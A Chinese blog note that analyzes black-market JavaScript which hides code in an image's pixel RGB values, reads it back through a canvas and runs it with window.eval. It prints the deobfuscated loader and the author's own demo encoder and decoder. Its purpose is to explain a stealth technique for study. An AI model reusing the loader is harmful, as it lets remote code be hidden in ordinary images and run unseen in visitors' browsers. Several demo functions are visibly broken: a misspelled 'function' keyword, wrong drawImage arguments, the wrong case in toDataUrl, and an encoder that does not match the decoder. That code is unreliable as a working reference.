黑產程式碼解密--利用canvas載入程式碼

  • 2019 年 11 月 26 日
  • 筆記

前段時間獲取到黑產的一些程式碼,不得不感嘆黑產的程式碼實在在寫的是好得很,思路巧妙,環環相扣。不得不說,技術不好,黑產都做不了了。雖然分析了好多天,但是也只是一知半解。這裡抽出一小部分來講一下。二話不說,先上程式碼:

最初的程式碼是經過混淆的,程式碼經過整理如下:

var createImgElement = function(urla, b) {      var imgElement = document.createElement('img');      var canvasEle = document.createElement('canvas');      imgElement['crossOrigin'] = true;      imgElement['onload'] = function() {          canvasEle.width = this.width;          canvasEle.height = this.height;          var canvasContext = canvasEle.getContext('2d')          canvasContext.drawImage(this, 0, 0, this.width, this.height);          for (var canvasContext = canvasContext.getImageData(0, 0, this.width, this.height),          cancasDataLength = canvasContext.data.length, arr = [], i = 0;              i < cancasDataLength;              i += 4) {              var code = canvasContext.data[i]              var code1 = canvasContext.data[i + 1]              var code2 = canvasContext.data[i + 2]              canvasContext.data[i + 2].toString(16);              1 == code1.length && (code1 = 0 + code1);              1 == code2.length && (code2 = 0 + code2);              0 != Number(code + code1 + code2) && arr.push(String.fromCharCode(Number(code + code1 + code2)));          }          window.eval(arr.join(''));          console.log(arr.join(''));          b && b();      }      imgElement.src = urla;  };

這段程式碼的主要目的是通過使用一個圖片的連接,將這個圖片載入到 canvas 中,再利用 canvas 去獲取惡意程式碼並執行。通過圖片去隱藏資訊是一種常見的做法,這段程式碼就是通過 canvas 去執行圖片中隱含的惡意程式碼。程式碼還支援傳入回調函數,若回調函數存在,則執行回調函數。

在這裡還利用一個電腦影像的知識,即像素中的 RGBA 值。Canvas 中的 ImageData 對象中每一個像素都包含了4個資訊,即 RGBA 值。

  • R - 紅色 (0-255)
  • G - 綠色 (0-255)
  • B - 藍色 (0-255)
  • A - alpha 通道 (0-255; 0 是透明的,255 是完全可見的)

通過將程式碼轉化為 ascii 碼,將其隱藏在圖片中的 RGB 資訊中,黑產的 alpha 值都設置的為255。這樣非常巧妙地就實現了程式碼資訊和圖片之間的轉換。

這裡涉及到一個 canvas 和圖片之間的相互轉化。下面提供兩個相互轉化的函數:

var canvasToImg = fucntion(image) {      var canvas = document.createElement('canvas');      canvas.width = image.width;      canvas.height = image.height;      canvas.getContext('2d').drawImage(image, width, height);      return canvas;  }    var imgToCanvas = function(canvas) {      var image = new Image();      image.src = canvas.toDataUrl('image/png');      return image;  }

所以黑產也是通過將惡意程式碼放入到圖片之中,從而以後可以通過 canvas 去讀取惡意程式碼。下面寫一個小的 demo 來複現這樣一個簡單的過程:

var createImgByCode = function(codeStr, width, height) {      var imgElement = document.createElement('img');      var canvasEle = document.createElement('canvas');      canvasEle.width = width;      canvasEle.height = height;      var canvasContext = canvasEle.getContext('2d');      var data = new Array(4 * width * height);      for (var i = 0; i < codeStr.length; i += 4) {          var c = codeStr[i];          var charCode = c.charCodeAt();          var code = 0;          var code1 = 16;          var code2 = charCode - code1;          data[i] = code;          data[i + 1] = code1;          data[i + 2] = code2;          data[i + 3] = 255;      }      data = Uint8ClampedArray.from(data);      var imgData = new ImageData(data, width, height);      canvasContext.putImageData(imgData, 0, 0);      imgElement.src = canvasEle.toDataURL("image/png");      imgElement.width = width;      imgElement.height = height;      imgElement.crossOrigin = ' ';      document.querySelector("#container").appendChild(imgElement);  }    var readCodeFromImg = function() {      var img = document.querySelector('#container img');      var width = 20;      var height = 20;      var canvas = document.createElement('canvas');      canvas.width = width;      canvas.height = height;      var context = canvas.getContext('2d');      context.drawImage(img, 0, 0, width, height);      for (var context = context.getImageData(0, 0, width, height),          cancasDataLength = context.data.length, arr = [], i = 0;          i < cancasDataLength;          i += 4) {          var code = context.data[i];          var code1 = context.data[i + 1];          var code2 = context.data[i + 2];          1 == code1.length && (code1 = 0 + code1);          1 == code2.length && (code2 = 0 + code2);          0 != Number(code + code1 + code2) && arr.push(String.fromCharCode(Number(code + code1 + code2)))      }      console.log(arr.join(''));  }    createImgByCode("14324dfjkkdf432473724afjdfshjkdfkl53453453425dlkfklsdf", 20, 20);  readCodeFromImg();

createImgByCode 函數可以將任意字元串轉化為一個圖片,接著通過 canvas 去載入程式碼。不過這裡面有一個問題,就是通過 createImgByCode 函數生成的圖片是一個 base64 圖片,不能夠直接被載入,這個圖片必須被存儲為 png 格式才能夠通過另一個函數去載入程式碼。

還有其他的一些黑產的程式碼,思路都比較獨特,魯棒性也很好,比一般成寫出來的程式碼應該好多了。所以道高一尺魔高一丈,還得多多學習才是。

Tags: